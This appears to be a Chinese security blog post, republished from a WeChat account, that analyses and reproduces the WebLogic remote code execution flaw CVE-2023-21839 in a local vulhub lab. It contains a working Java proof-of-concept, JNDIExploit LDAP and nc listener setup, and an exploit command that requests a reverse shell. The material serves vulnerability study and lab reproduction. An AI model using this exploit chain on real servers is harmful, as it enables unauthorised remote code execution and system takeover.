前言:
公众号的功能栏花某又整理了一下加了个【关于逆向】的栏目目前只有【app逆向】和【js逆向】等内容,后续会持续输出一些花某对于逆向方面的见解如果有师傅需要也可以从逆向基础开始慢慢写帮助大家更好的学习逆向技术。
WebLogic简介:
WebLogic是Oracle公司推出的一款Java应用服务器,具有高度可伸缩性、高可用性和高性能等特点。它支持Java EE规范和Web服务标准,并提供了许多企业级应用程序所需的功能和服务,例如分布式事务管理、安全性、容错机制和集群等。
漏洞POC:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class BindRce {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
private static InitialContext getInitialContext(String url)throws NamingException
{
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
//iiop
public static void main(String args[]) throws Exception {
InitialContext c=getInitialContext("t3://127.0.0.1:7001");
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,"ldap://xxxxxxxx/xxx");
c.bind("xxxx",f);
c.lookup("xxx"); }
}
POC分析:
用了 javax.naming.Context 和 javax.naming.InitialContext 这两个类,以及 java.lang.reflect.Field 和 java.util.Hashtable 两个类库。这些类库主要用于实现 Java 的命名和目录服务以及反射机制。
通过使用 InitialContext 类的 getInitialContext 方法实例化 InitialContext 对象,然后将环境参数设置为 JNDI_FACTORY 和 PROVIDER_URL,最终返回 InitialContext 对象。接着,在 main 方法中,又实例化了一个 InitialContext 对象,并将其连接到本地的 WebLogic 服务器上。
然后,将 Hashtable 对象 env 的 INITIAL_CONTEXT_FACTORY 设置为 "com.sun.jndi.rmi.registry.RegistryContextFactory",并创建了一个 weblogic.deployment.jms.ForeignOpaqueReference 的对象 f。然后使用反射机制,将 ForeignOpaqueReference 对象 f 中的 jndiEnvironment 成员变量的值设置为 env,remoteJNDIName 成员变量的值设置为 "ldap://xxxxxxxx/xxx",最后将 f 对象绑定到 InitialContext 中,Key 为 "xxxx"。最后,调用 lookup 方法查找 Key 为 "xxx" 的对象,POC整体来说也是比较简洁的。
复现过程:
漏洞环境:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839
新版vulhub也是自带的win系统可以直接的到github下载最新版文件,linux更新命令为:
# git pull
花某的是win系统。
1,环境启动:
win系统先得打开Docker-Desktop
打开powershell并且切换到vulhub目录:
再切换到D:vulhubweblogicCVE-2023-21839>路径运行以下命令(如果是直接下载的CVE-2023-21839的环境文件就切到文件下直接运行:
# docker-compose build //编译环境
# docker-compose up -d //运行环境
等待环境运行。
# docker-compose ps -a //查看地址端口
访问路径打开环境
不出现可多刷新几次,直接访问http://127.0.0.1:7001/会是404但是不用在意。
2,工具准备:
下载利用工具1:
下载完毕后解压文件,进入文件目录运行cmd,没有go环境还要下载一个go的环境,linux下载go环境命令为:
# apt install gccgo-go
win系统直接下载网上的环境包即可,进入目录后运行:
# go build -o CVE-2023-21839 //编译文件
下载工具2:
相信经常复现java漏洞和接触java安全的师傅们对这个工具肯定也不陌生,下载完直接解压就行。
3,命令执行:
在JNDIExploit-1.2-SNAPSHOT.jar的路径下打开cmd随后设置监听
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1
后面的ip是攻击机的ip因为我的搭环境的机器和攻击机是同一个所以就索性用127.0.0.1了。
然后在开个cmd窗口设置nc监听,win没有nc的去下载配置个nc环境就ok了这边不多说了。
nc -lvp 8866
最后在利用开头的CVE-2023-21839工具攻击就行了,进入CVE-2023-21839的目录,我是win系统然后还配置了Cygwin所以也能在win运行Linux命令如果师傅们没有的直接下载个Cygwin就行了或者直接用kali或者别的Linux系统还方便点。
输入
./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/Basic/ReverseShell/127.0.0.1/8866
回车返回cmd查看
成功反弹shell,关闭环境。
原文始发于微信公众号(flower安全混子):Weblogic远程代码执行漏洞[CVE-2023-21839]的分析及复现(flower安全日志)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论